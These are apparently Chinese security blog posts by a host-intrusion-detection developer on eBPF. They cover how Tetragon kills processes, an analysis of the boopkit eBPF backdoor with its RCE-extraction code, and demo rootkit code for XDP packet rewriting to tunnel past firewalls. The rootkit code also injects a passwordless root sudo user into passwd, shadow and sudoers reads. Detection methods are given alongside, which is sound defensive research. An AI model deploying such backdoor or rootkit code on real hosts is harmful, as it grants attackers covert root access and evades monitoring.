这里对kprobe所在进程信息,以及配置文件中信息匹配,判断是否要走过滤、阻断流程。流程逻辑如下 PFILTER_ACCEPT 逐个进入5类进程event事件判断 generic_process_event0() generic_process_event1() generic_process_event2() generic_process_event3() generic_process_event4() generic_kprobe_filter_arg1() PFILTER_CONTINUE直接进入参数判断 generic_kprobe_filter_arg1() OTHER 其他情况 直接返回PFILTER_REJECTeBPF HOOK流程。 参数判断流程 当前kprobe函数是否需要过滤判断完成后,流程转入真正的判断逻辑中,即tailcals尾调用的第6个函数处理,即generic_kprobe_filter_arg1() __attribute__((section(("kprobe/6")), used)) int generic_kprobe_filter_arg1(void *ctx) { return filter_read_arg(ctx, 0, &process_call_heap, &filter_map, &kprobe_calls, &override_tasks); } 其中,核心处理函数为filter_read_arg(),第四个参数&filter_map就是来自用户空间解析yaml的filters bytes数组。 filter_read_arg()函数判断触发当前kprobe的进程filter配置,若没找到,则调用kprobe/7至kprobe/9的尾调用函数,逐个查找filter配置。 阻断动作执行 当找到filter配置后,则读取配置中相应的action参数类型,开始进行相应动作分类判断,执行相关流程逻辑,这块都是在__do_action()函数中完成的。 actions = (struct selector_action *)&f[actoff]; postit = do_actions(e, actions, override_tasks); action动作的类型有下面几种 ACTION_POST = 0, ACTION_FOLLOWFD = 1, ACTION_SIGKILL = 2, ACTION_UNFOLLOWFD = 3, ACTION_OVERRIDE = 4, 每个action动作类型都有相应的处理逻辑,本文重点是阻断的实现,那么只需要关注ACTION_SIGKILL类型。 static inline __attribute__((always_inline)) long __do_action(long i, struct msg_generic_kprobe *e, struct selector_action *actions, struct bpf_map_def *override_tasks) { int action = actions->act[i]; switch (action) { case ACTION_UNFOLLOWFD: case ACTION_FOLLOWFD: // ... break; case ACTION_SIGKILL: if (bpf_core_enum_value(tetragon_args, sigkill)) send_signal(FGS_SIGKILL); break; case ACTION_OVERRIDE: default: break; } if (!err) { e->action = action; return ++i; } return -1; } 可以看到,针对类型,是调用了send_signal()函数进行下发FGS_SIGKILL指令给当前进程,完整阻断动作。send_signal()函数是ebpf的内置函数,在Kernel 5.3版本里增加。 阻断演示视频 可以到CNCF (Cloud Native Computing Foundation)的油管观看: Real Time Security - eBPF for Preventing attacks - Liz Rice, Isovalent LSM HOOK比较 LSM类HOOK是在Kernel 5.7以后才添加。阻断功能的实现,Tetragon选择send_signal()的方式,有着兼容更多内核版本的优势。并且其kprobe的HOOK点上,可以实现网关式通用处理,通过配置方式,更灵活的变更HOOK点,避免更新eBPF字节码的方式。 更灵活 网关式 内核版本覆盖多 总结 Tetragon是一个实时识别阻断的运行时防护系统。具备网关式统一处理抓手,可以覆盖更多内核版本,通过配置文件方式灵活变更HOOK点。在eBPF技术支持下,还具备热挂载,系统稳定性高,程序可靠性高等特点。是主机运行时防护系统HIDS的最佳学习项目。 笔者水平有限,若有错误,欢迎指出,谢谢。 阻断原理讲解视频 Tetragon阻断争论 2022年5月,云原生安全公司Isovalent的CTO宣布开源了其内部开发了多年的基于eBPF安全监控和阻断的方案:Tetragon。称可以防御容器逃逸的Linux内核漏洞。 安全研究人员Felix Wilhelm的质疑,在Tetragone: A Lesson in Security Fundamentals认为可以轻易绕过,并用CVE-2021-22555漏洞修改版演示。 这篇文章从标题上都充满了各种嘲讽,Tetragon单词加了e,大概是gone的谐音吧。grsecurity是linux 内核安全经验非常深厚的大厂,对这个领域比较精通。但Tetragon的优势并不是内核底层安全能力。 赛博堡垒(HardenedVault)也撰写一篇文章,云原生安全Tetragon案例之安全产品自防护 认为该产品必定失败。 随着云原生的流行,Linux内核安全成为了一个无法绕开的问题,某个容器被攻陷后可以向Linux内核发起攻击,一旦成功则整个主机都会被攻击者控制,如果你不想你的产品耗资上百万美金后攻击者两个小时就攻陷的话,那应该认真的考虑是否应该从一开始就建立正确的威胁模型。另外,eBPF机制更适合实现审计监控类的安全方案而非防护阻断类,VED的eBPF版本也仅仅是为审计而设计,剩下的事情你应该让SIEM和SOC团队去做,在安全流程上我们也应该遵循KISS(Keep it simple, stupid!)原则,不是吗? 我的看法 针对漏洞利用的方法(注:不是漏洞)的防御机制通常会针对三个阶段: Pre-exploitation(前漏洞利用阶段) Exploitation(漏洞利用阶段) Post-exploitation(后漏洞利用阶段) Tetragon的阻断功能是在Exploitation漏洞利用阶段生效的,因为是可以直接阻断,让此次漏洞攻击失败。 其次,认可几位安全人员的关于Tetragon适用场景说法,更适合阻断用户空间的内核逃逸漏洞。 否定的声音来自底层防御的传统厂商,其实他们没明白,Tetragon的优势是可以动态、轻量、无感知的提升防御能力,并不是完全防御所有攻击方式。 业务优先于安全 在云原生领域,业务类型多数是web服务,安全级别不需要那么高,硬件宿主机重启成本较高,性能要求大,业务优先,安全其次。过于严格的安全检测,占用过多资源,影响业务运行速度,性价比低,成本高。这是云原生场景不能接受的。但偶尔的入侵行为是能容忍的。所以业务优先级大于安全是第一守则。 安全优先于业务 传统安全厂商的产品对系统稳定性、可用性、性能都有较大影响,且存在热更新的难题,哪怕解决了,依旧是特别重的方案。在轻量、动态、热更新的需求下,显得特别笨重。 机密数据库等保密程度较高的服务器,数据安全大于业务功能,愿意牺牲性能换取安全性,那么这种场景适合传统安全厂商的产品。这种场景的规则是安全优先级大于业务,更适合传统安全厂商发挥。 争议总结 当今互联网的服务器市场中,云原生业务占比越来越高,这将会是Tetragon、Falco、Tracee、Datadog等运行时安全产品愈加内卷的动力。 对于用户来说,根据自己的业务特性,选择相应的防御检测产品,满足自己业务需求。 参考 https://isovalent.com/blog/post/2022-05-16-tetragon 2022-06-08 +1 5 0
新型eBPF后门boopkit的原理分析与演示 前言 在《聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道》一文里,我们讨论了二十年前基于BPF技术后门的功能实现,技术原理等。也展望也在二十年后的今天,eBPF技术加持下,有更多可以被后门利用的技术点,可以造成更大的破坏力。 同时,在《Linux中基于eBPF的恶意利用与检测机制》介绍了eBPF的恶意利用,与防御相关的检测防御机制等。笔者对当下国内IDC对eBPF防御建设的不完善感到忧心,综合国外DefCon等安全峰会中的话题内容,预判未来一段时间,基于eBPF的后门会越来越多,越来越隐秘。 就在一个多月前,笔者看到了一款基于eBPF技术后门Boopkit,上传到https://github.com/kris-nova/boopkit,今天,就跟大家一起来了解一下它的技术原理。 boopkit介绍 boopkit是基于eBPF技术实现的Linux后门rootkit,利用任意开启的TCP端口服务,远程唤醒后门,生成反弹shell,具备远程命令执行等能力。 此项目是在2022年3月30日首次创建,至今1个多月,已经有近1000星,在Twitter上也有一定热度,持续传播中。 用户空间的加载器与内核态代码都是纯C编写。 部分脚本使用Makefile、shell等脚本语言。 作者 Kris Nóva 是一位女性安全工程师,经常在twitch上直播写代码,有兴趣的同学可以去围观。 功能 GitHub上Boopkit介绍: Remote code execution over TCP (SSH, Nginx, Kubernetes, etc) Network gateway bypass (bad checksums, TCP reset) Self obfuscation at runtime (eBPF process hiding) 很容易看出,这是后门工具,利用当前服务器开启的任意TCP端口作为通讯隧道,比如SSH、Nginx、Kubernetes等常用服务。利用eBPF技术,在HOOK tracepoint的tcp_bad_csum、tcp_receive_reset这两个TCP内核函数,作为敲门、传递信息的机制,进行通讯。并具备进程的自我隐藏等能力。 相比之前《聊一聊BVP47》的SYN窍门,有异曲同工之妙。但多了传送RCE shell等更多利用,当然,也是在高版本eBPF实现的功能。 安装测试 环境依赖 编译依赖 项目说明中,依赖如下: clang bpftool Required for libbpf xdp-tools Required for libxdp llvm pcap lib32-glibc 笔者环境是ubuntu 22.04的Desktop,内核版本是 5.15的。理论上其他低点的版本有可以运行。 笔者的clang、llvm都是12,bpftool在项目编译时不需要,但需要安装libbpf-dev这个开发包,依赖头文件。在ubuntu 22.04上,libbpf-dev是0.5.0的版本,版本太低,可以下载libbpf-0.6.1版本,安装使用。 xdp-tools、pcap也都是需要开发的头文件,记得安装devel版本的类库。 lib32-glibc包是ArchLinux发行版上的包名字,在其他Linux发行版上一般叫glibc,对应开发库libc6-dev-i386等。 内核依赖 内核版本上项目没说明,理论5.x都行,4.x请自测。但配置上,需要启用tcp_bad_csum、tcp_receive_reset两个函数的tracepoint。可以检查/sys/kernel/debug/tracing/events/tcp目录下是否有这两个目录。 运行依赖 客户端在启动后,需要监听端口,等待后门的反弹shell链接过来。使用的是ncat程序,需要提前安装好。ubuntu上命令sudo apt install ncat。 命令参数 Boopkit后门分为两部分: 服务端:程序名boopkit,运行在被入侵的服务器上。 客户端:程序名boopkit-boop,黑客使用的控制端。 服务端 程序名是boopkit,编译好后,会把ebpf的字节码文件写入到/root/.boopkit/目录下,有三个文件: pr0be.boop.o pr0be.safe.o pr0be.xdp.o pr0be.boop.o用于TCP的网络HOOK,实现敲门以及网络RCE接收。 pr0be.safe.o用于后门进程的自我保护,启动后,在进程列表中隐藏自己。 pr0be.xdp.o截止至2022-05-06,还是空的,没有逻辑。从作者直播中提到,应该是打算用于替换掉libpcap方式的数据包拦截、解析,以及提取RCE,用于更好地隐藏自己。 该程序命令帮助如下: Boopkit. Linux rootkit and backdoor. Built using eBPF. Usage: boopkit [options] Options: -h, help Display help and usage for boopkit. -i, interface Interface name. lo, eth0, wlan0, etc -s, sudo-bypass Bypass sudo check. Breaks PID obfuscation. -r, reverse-conn Attempt a reverse RCE lookup if no payload found. -q, quiet Disable output. -x, reject Source addresses to reject triggers from. 参数说明 interface -i参数将用于libpcap的网络嗅探的目标网卡,用于提取RCE。若走eBPF XDP方式,则不需要指定网卡,都可以拿到,那么后门的适应性更强。只是作者还没实现。 sudo-bypass -s参数用于躲避sudo用户检测。 reverse-conn -r参数是配置参数,当前后门是否启用反弹shell模式。反弹shell模式交互好,但隐蔽性不好。该后门也提供了秘密执行的功能,下文会提到。 quiet -q参数是静默模式,不输出日志。 reject -x参数算是后门的扩展功能,用于黑名单IP的筛选,意义不大。 前面介绍了后门的参数功能,下面讲下后门对RCE执行的两种方式,以及对应代码实现。 直接执行 使用libpcap库读取网络通讯包,筛选出黑客的IP,读取TCP的payload信息,匹配特征字符串BOOPKIT_RCE_DELIMITER,读取RCE信息。再调用系统system函数执行。 #define BOOPKIT_RCE_DELIMITER "X*x.x*X" #define BOOPKIT_RCE_CMD_HALT "X*x.HALT.x*X" //boopkit.c xcap_found = xcaprce(saddrval, rce); if (xcap_found == 1) { exec(rce); bpf_map_delete_elem(fd, &jkey); ikey = jkey; continue; } // dpi.c // Search for (int i = 0; i < XCAP_BUFFER_SIZE; i++) { struct xcap_ip_packet *xpack; xpack = snap[i]; if (!xpack->captured) { continue; } char *xpack_saddr = inet_ntoa(xpack->iph->ip_src); char *ret = strstr(search, xpack_saddr); if (!ret) { continue; // Filter packets not from our IP address } // Begin DPI unsigned char *packet = xpack->packet; char *rce_sub; rce_sub = memmem(packet, xpack->header->caplen, BOOPKIT_RCE_DELIMITER, strlen(BOOPKIT_RCE_DELIMITER)); if (rce_sub != NULL) { boopprintf(" -> Found RCE xCap!\n"); int found; found = rce_filter(rce_sub, rce); // Flush the snapshot xcap_ring_buffer_free(snap); // Flush the main ring buffer xcap_ring_buffer_free(xcap_ring_buffer); xcap_ring_buffer_init(xcap_ring_buffer); if (found) { return 1; } else { boopprintf(" XX [FILTER FAILURE] No RCE in xCap!\n"); return 0; } } } 也可以通过RCE中包含特定字符串,来关停后门。 反弹shell 若后门启用反弹shell模式,则可以让这台boopkit的机器主动向黑客监听端口发起TCP链接。隐蔽性不如上面一种模式,但交互比较好,可以只需不停的读取黑客命令,并调用系统system函数执行。 retval = recvrce(saddrval, rce); if (retval == 0) { exec(rce); bpf_map_delete_elem(fd, &jkey); ikey = jkey; continue; } eBPF HOOK 后门一共hook了两类eBPF功能点,TCP与进程列表等几个运行时函数。 eBPF TCP HOOK pr0be.boop.c 内容比较简单,实现了tcp_bad_csum与tcp_receive_reset两个函数HOOK,功能逻辑也比较简单,就是读取TCP包的来源IP,并写入eBPF map,用于存放黑客认证IP。IP将在libpcap网络包读取部分使用。 SEC("tracepoint/tcp/tcp_bad_csum") SEC("tracepoint/tcp/tcp_receive_reset") pr0be.safe.c 代码稍微多了一点点,业务功能是实现了当前后门进程的PID隐藏,HOOK了多个函数点: SEC("tp/syscalls/sys_enter_getdents64") SEC("tp/syscalls/sys_exit_getdents64") SEC("tp/syscalls/sys_exit_getdents64") HOOK点之间,使用多张eBPF Map存储数据,一部分用于内核空间跟用户空间通讯,另外一部分用于多个HOOK点之间通讯。使用bpf_tail_call尾调用实现隐藏逻辑控制。 pr0be.xdp.c 该文件目前是空,前面也提到了,这个应该是作者用于替换libpcap实现网络数据读取的功能,等待实现。 客户端 程序名是boopkit-boop,功能是构造畸形或带RCE payload的TCP数据包,发送到服务端,触发服务端内核的tcp_bad_csum、tcp_receive_reset函数,对Boopkit后门敲门。 后门程序封装了一个SHELL脚本,启动控制boopkit-boop客户端端更方便。默认启用反弹shell模式,并使用ncat程序监听3545端口,等待被入侵服务器主动连接过来。 boopkit运行原理 Boop敲门Vectors Boopkit(服务端)会响应各种网络事件,boopkit-boop(客户端)工具内置了两种敲门机制。 其利用的TCP帧原理如下图: 无效的Checksum boopkit-boop客户端工具将通过SOCK_RAW Socket 向boopkit服务器发送一个带有空校验和的畸形 TCP SYN 数据包。不管这台服务器正在运行什么TCP服务,都会成功敲门,触发eBPF的TCP HOOK。在Linux服务器通吃。 ⚠️注意 个别硬件网卡将丢弃所有格式错误的校验和数据包,该工具失效! 发送ACK-RST包 boopkit-boop客户端工具将使用 SOCK_STREAM Socket针对目标的TCP服务(如SSH、Kubernetes、Nginx等)先正常完成TCP握手后,会关闭该TCP链接,以确保这个服务是正常启动的。 之后,再重复该过程,将重置数据包中的TCP RESET标志位,触发服务器上eBPF TCP HOOK。 视频演示 检测机制 行为 网络行为 网络抓包可以抓到敲门的包,但如果用XDP实现,是可以做到读取后,直接XDP_DROP掉,抓包就抓不到了。隐秘性更可怕。 从图中,可以看到,Checksum的值是0,且后面的TCP Segment已经被改成不合法的,无法解析的包。RCE也被放置在payload中。(两头加了BOOPKIT_RCE_DELIMITER标记) 端口监听 后门不监听端口,隐藏进程,普通工具查不出来。 进程 RCE执行时,会有记录,但进程的父ID查不出来。 top命令却能直接看到,也能直接kill掉,隐藏的不够好。 基于eBPF的特征 事中 GitHub上,笔者开源了一个基于eBPF实现的HIDS入侵检测系统ehids-agent DEMO,具备基本的BPF Call调用检测,可以来测试一下能否发现。 为了减少干扰信息,笔者这里只开启了eHIDS的bpf call monitor模块。 cfc4n@vm-desktop:~/project/ehids-agent$ sudo ./bin/ehids-agent [sudo] password for cfc4n: 2022/05/07 00:21:53 https://github.com/ehids/ehids-agent 2022/05/07 00:21:53 process pid: 69409 2022/05/07 00:21:53 start to run EBPFProbeBPFCall module 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:1, Cmd:BPF_PROG_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 可以看到,能精准地监控到调用的BPF指令,进程ID,进程名,命令行参数等。 事后 该后门,在进程PID隐藏上做了实现,但在bpf的行为特征上,目前还没有实现。可以用bpftool等常规工具来检查它。 prog root@vm-desktop:~# bpftool prog show 216: tracepoint name handle_getdents tag d5fabe9da09eec5e gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 144B jited 93B memlock 4096B map_ids 135,129 btf_id 180 218: tracepoint name handle_getdents tag d197d702eb020291 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 1216B jited 841B memlock 4096B map_ids 129,130,135,132,131 btf_id 180 219: tracepoint name handle_getdents tag e938383ee7761b31 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 544B jited 310B memlock 4096B map_ids 132,133,135 btf_id 180 222: tracepoint name tcp_bad_csum tag 82cc666e25685b71 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 744B jited 404B memlock 4096B map_ids 138 btf_id 181 223: tracepoint name tcp_receive_res tag c25930e6076718fc gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 416B jited 227B memlock 4096B map_ids 138 btf_id 181 map 如上,一样的方法。 root@vm-desktop:~# bpftool map show 129: hash name map_buffs flags 0x0 key 8B value 8B max_entries 8192 memlock 131072B btf_id 180 130: hash name map_bytes_read flags 0x0 key 8B value 4B max_entries 8192 memlock 131072B btf_id 180 131: prog_array name map_prog_array flags 0x0 key 4B value 4B max_entries 5 memlock 4096B owner_prog_type tracepoint owner jited btf_id 180 132: hash name map_to_patch flags 0x0 key 8B value 8B max_entries 8192 memlock 131072B btf_id 180 133: ringbuf name rb flags 0x0 key 0B value 0B max_entries 8192 memlock 0B 135: array name pr0be_sa.rodata flags 0x480 key 4B value 24B max_entries 1 memlock 4096B btf_id 180 frozen 136: array name pr0be_sa.bss flags 0x400 key 4B value 20B max_entries 1 memlock 4096B btf_id 180 138: hash name event flags 0x0 key 4B value 32B max_entries 8192 memlock 327680B btf_id 181 139: array name pr0be.bss flags 0x400 key 4B value 20B max_entries 1 memlock 4096B btf_id 181 检测防御 可参考 《Linux中基于eBPF的恶意利用与检测机制》一文。 结束语 当前后门发往外部的TCP通讯是可监控,对网络捕获的实现是libpcap库,特征比较明显,而这个程序作者不停改进中。业界中,有人分享过更隐秘的技术方式,比如在内核态,复用业务的网络包,更改内容发数据包给黑客。躲避了用户态的检查。 这后门虽然不完美,但这只是GitHub开源社区的现状,相信在黑市里,早有隐秘性笔者高很多的后门在使用。笔者再次呼吁,务必加快对eBPF恶意利用的防御检测体系建设。 微信公众号 回复boopkit获取该文章链接。 2022-05-09 4 0
Linux中基于eBPF的恶意利用与检测机制 首发 本文首发与【美团安全应急响应中心】微信公众号。 前言 近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。 系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。 eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。 现状分析 在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示: 海外资料 Black Hat 在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。 DEFCON 在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。 国内资料 国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。 eBPF技术恶意利用的攻击原理 知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些? 从eBPF的功能来看,提供了 网络 监控 观测 跟踪&性能分析 安全 等几个领域功能。 在网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。 在监控、观测等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。 我们回顾一下eBPF技术的hook点: 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路, 从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。 Linux网络层恶意利用 Linux系统运行时恶意利用 网络层恶意利用 以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。 假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢? XDP/TC层修改TCP包 为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。 按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。 XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外,还可以对egress起作用。 前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。 控制链路 在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。 认证密钥 由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口) eBPF uprobe与eBPF map联动 对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。 XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。 实现流程 举个XDP处理ingress的例子 SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt; //判断是否为SSHD的协议,不是则直接放行 if (!(不是SSHD协议(&c))) { return XDP_PASS; } //判断rootkit是否匹配,网卡信息与来源端口是否匹配 hack_mac[] = "读取bpf map配置。" if(密钥不匹配) { return XDP_PASS; } // 读取map,是否已经存在该client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN); struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key); // 如果没找到伪装信息,则自己组装 if(!client_value) { __builtin_memset(&client_value, 0, sizeof(client_value)); } else { bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); } // 伪装mac局域网mac信息 pkt.eth->h_source[0] = 0x00; ... // 替换伪装ip来源 ,客户端端口不变 // 更改目标端口 pkt.tcp->dest = htons(FACK_PORT); //22 //计算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum; //写入已伪装的map,用于TC处理egress的原mac、IP信息还原。 return XDP_PASS; } 比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图: 这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。 视频演示 笔者准备了三台主机测试: 入侵者:cnxct-mt2,IP为172.16.71.1。 普通用户:vm-ubuntu,IP为172.16.71.3。 被入侵服务器:vm-server,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。 危害 这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? linux系统运行时恶意利用 云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。 实现流程 回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 tracepoint事件类型hook 在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。 用户态生成payload 用户态实现/etc/passwd、/etc/shadown等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对elf .rodata的字段值替换。 import "github.com/ehids/ebpfmanager" // 通过elf的常量替换方式传递数据 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor { var username = RandString(9) var password = RandString(9) var s = RandString(8) salt := []byte(fmt.Sprintf("$6$%s", s)) // use salt to hash user-supplied password c := sha512_crypt.New() hash, err := c.Generate([]byte(password), salt) var m = map[string]interface{}{} res := make([]byte, PAYLOAD_LEN) var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username) copy(res, payload) m["payload"] = res m["payload_len"] = uint32(len(payload)) // 生成passwd字符串 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username) // 生成shadow字符串 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash) // eBPF RewriteContants var editor = []manager.ConstantEditor{ { Name: "payload", Value: m["payload"], FailOnMissing: true, }, { Name: "payload_len", Value: m["payload_len"], FailOnMissing: true, }, } return editor } func (this *MBPFContainerEscape) setupManagers() { this.bpfManager = &manager.Manager{ Probes: []*manager.Probe{ { Section: "tracepoint/syscalls/sys_enter_openat", EbpfFuncName: "handle_openat_enter", AttachToFuncName: "sys_enter_openat", }, ... }, Maps: []*manager.Map{ { Name: "events", }, }, } this.bpfManagerOptions = manager.Options{ ... // 填充 RewriteContants 对应map ConstantEditors: this.constantEditor(), } } 内核态使用payload const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN]; SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { // 判断是否为rootkit行为,是否需要加载payload ... long int read_size = ctx->ret; // 判断原buff长度是否小于payload if (read_size < payload_len) { return 0; } // 判断文件类型,匹配追加相应payload switch (pbuff_addr->file_type) { case FILE_TYPE_PASSWD: // 覆盖payload到buf,不足部分使用原buff内容 { bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr); for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) { if (i >= payload_passwd_len) { local_buff[i] = ' '; } else { local_buff[i] = payload_passwd[i]; } } } break; case FILE_TYPE_SHADOW: // 覆盖 shadow文件 ... break; case FILE_TYPE_SUDOERS: //覆盖sudoers ... 